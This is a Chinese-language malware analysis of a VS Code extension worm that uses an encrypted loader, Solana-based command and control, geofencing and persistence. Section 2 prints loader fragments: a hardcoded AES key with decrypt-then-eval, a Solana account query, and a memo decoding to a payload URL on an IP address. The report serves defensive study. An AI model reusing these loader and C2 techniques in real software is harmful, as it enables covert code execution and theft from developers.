1. 簡介
在 Visual Studio Code (VS Code) 等整合開發環境(IDEs)中,惡意擴充功能的擴散代表了軟體供應鏈中一個重大且不斷演變的威脅。這些擴充功能通常偽裝成合法的工具,利用開發者對其固有的信任,以與 IDE 本身相同的權限執行。最近的發現凸顯了蠕蟲的發展趨勢,其設計目的是為了隱蔽地進行資料外洩和持久的遠端控制。這份報告聚焦於此類蠕蟲的一個特定實例,分析其技術機制、架構設計,以及為了達成其目標所採用的特定程式碼模式 [1] 。
2. 蠕蟲機制的技術分析
分析顯示該蠕蟲展現了多階段執行流程(Execution flow),經過精心設計以規避偵測並確保長期持續性。其主要功能圍繞在建立隱蔽通訊頻道,並最終部署 stealer 惡意軟體。
2.1. 架構概覽
該蠕蟲的運作流程可以視為一系列相互關聯的階段,每個階段都對其整體的隱匿性和有效性有所貢獻。程序從擴充功能啟動開始,接著進行解密、C2 查找、地理圍欄、持續性,最後是 Payload 擷取與執行。
2.2. 加密的 Loader 與初始執行
在啟動時(通常是由於開啟 HTML 或 TypeScript 檔案所觸發),擴充功能的
index.js
檔案會執行一個惡意 loader。這個 loader 負責解密初始 Payload。它利用 Node.js 內建的
crypto
模組,特別是使用 AES-256-CBC 進行解密。加密金鑰和初始化向量(IV)被嵌入在擴充功能的程式碼中,IV 通常經過十六進位編碼並在執行階段轉換為 Buffer。一個顯著的特徵是在執行解密後的程式碼之前包含了一個時間延遲,這是規避簡單沙箱環境(可能會偵測即時惡意活動)的常見策略
[1]
。
- // AES-256-CBC Decryption Setup
- const crypto = require('crypto');
- const decipher = crypto.createDecipheriv(
- 'aes-256-cbc',
- 'ghJuW+50IVo/1DYMInWJHZ1pdo/mLZro', // Hardcoded Key
- Buffer.from('...', 'hex') // IV
- );
- let decrypted = decipher.update('...', 'hex', 'utf8');
- decrypted += decipher.final('utf8');
- // Execution with delay to evade simple sandboxes
- setTimeout(() => {
- eval(decrypted);
- }, 500);
2.3. 用於 Command and Control (C2) 的 Solana Etherhiding
這種蠕蟲病毒的一個特別創新之處在於它使用了 Solana 區塊鏈作為其 C2 基礎設施。解密後的階段 1 Payload 會向 Solana 主網建構一個 RPC 請求以讀取帳戶資料。這些資料包含一個 memo 欄位,隨後會被解析以提取 Base64 編碼的 URL,用於後續階段的 Payload。這種方法為攻擊者提供了多項優勢,包括由於區塊鏈的不易變性帶來的持續性、公共 RPC 端點的高可用性、帳戶創建的匿名性,以及對下架行動的抵抗力 [1] 。
- // Solana RPC Request to fetch account data
- const rpcRequest = {
- jsonrpc: "2.0",
- id: 1,
- method: "getAccountInfo",
- params: ["BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC", {encoding: "jsonParsed"}]
- };
- // Memo parsing (Base64 decoded)
- // Example Memo: aHR0cDovLzIxNy42OS4xMS41Ny9WQU0lMkZrYXg1dmI3ZCUyRmtVN1JEZnQ4QSUzRCUzRA==
- // Decodes to: http://217.69.11.57/VAM/kax5vb7d/kU7RDft8A%3D%3D
2.4. 地理圍欄防護
在繼續擷取最終 Payload 之前,該惡意軟體納入了地理圍欄機制。它執行區域設定檢查,分析系統語言、時區和 UTC 偏移量,以識別執行環境。如果系統符合特定的排除值(通常與某些地理區域相關),惡意軟體將終止運行,而不獲取或執行進一步的 Payload。這種行為常見於由特定 Threat actor 開發的惡意軟體,以避免在國內遭受起訴 [1] 。
- function _isExcludedSystem() {
- // Check language, timezone, and UTC offset
- let isExcludedLang = [os.userInfo().username, process.env.LANG].some(info =>
- info && /ru_RU|ru-RU|Russian/i.test(info)
- );
- let utcOffset = -new Date().getTimezoneOffset() / 60;
- let isExcludedOffset = utcOffset >= 2 && utcOffset <= 12;
- return isExcludedLang && isExcludedOffset;
- }
2.5. 持續性機制
為了達成持續性,該蠕蟲會在使用者家目錄(Home directory)中符合平台慣例的位置建立一個隱藏檔案,通常命名為
init.json
。這個檔案儲存了最後一次成功執行 Payload 的時間戳記,讓惡意軟體能夠追蹤其運作狀態,並可能在重新執行其主要功能之前強制執行延遲或其他條件
[1]
。
- let homedir = os.homedir();
- let configPath = path.join(homedir, "init.json");
- if (!fs.existsSync(configPath)) {
- fs.writeFileSync(configPath, JSON.stringify({date: Date.now()}));
- }
2.6. 平台偵測與 Payload 獲取
該惡意軟體在獲取並執行下一階段之前,會使用 Node.js 的
os.platform()
確定目標作業系統。最終的 Payload 透過 HTTPS 擷取,用於解密的
secretKey
和
_iv
通常在 HTTP Response header 中傳輸。這種多階段解密與執行(通常涉及鏈接的
eval()
呼叫)進一步增加了分析和偵測的複雜性
[1]
。
3. 更廣泛的影響與相關攻擊
在該蠕蟲中觀察到的技術並非孤立事件,而是反映了針對開發工具與生態系統的供應鏈攻擊之更廣泛趨勢。如一項相關研究所詳述,VS Code 擴充功能的 hijacking 通常涉及透過外洩的 Personal Access Tokens (PATs) 導致發佈者帳戶受駭 [2] 。這使得攻擊者能夠向廣大使用者群推送惡意更新,利用擴充功能自動且無聲的更新機制 [2] 。
另一個重要的面向是使用合法的安全工具(例如 Trufflehog)進行認證收集,如在 Shai-Hulud 蠕蟲中所見
[3]
。該蠕蟲還展示了先進的傳播技術,包括將惡意 loader 注入
package.json
檔案,並將受感染的套件重新發佈到 npm,有效地將受駭系統轉化為進一步感染的媒介
[3]
。這些案例凸顯了現代供應鏈攻擊的複雜性與演變本質,攻擊者利用受信任的元件和基礎設施來達成其目標。
5. 結論
VS Code 擴展蠕蟲的發現凸顯了供應鏈攻擊的複雜演變,攻擊者利用可信賴的開發生態系統和創新基礎設施(例如 Solana 區塊鏈)來維持持久性和逃避偵測。這些攻擊透過多階段解密、地理圍欄和去中心化的命令與控制機制,繞過了傳統的安全邊界,並利用了現代 IDE 的高權限環境。這類威脅的技術分析,以及涉及憑證竊取和自動傳播的相關事件 [2][3] ,都顯示軟體供應鏈的安全性不再僅僅關乎程式碼完整性,還關乎對開發者日常依賴的工具和擴充進行嚴格驗證。展望未來,結合市場級秘密掃描、以開發者為中心的安全實踐和高級行為監控的協同防禦策略,對於保護全球軟體開發生命週期免受這些日益頑固和隱蔽的威脅至關重要。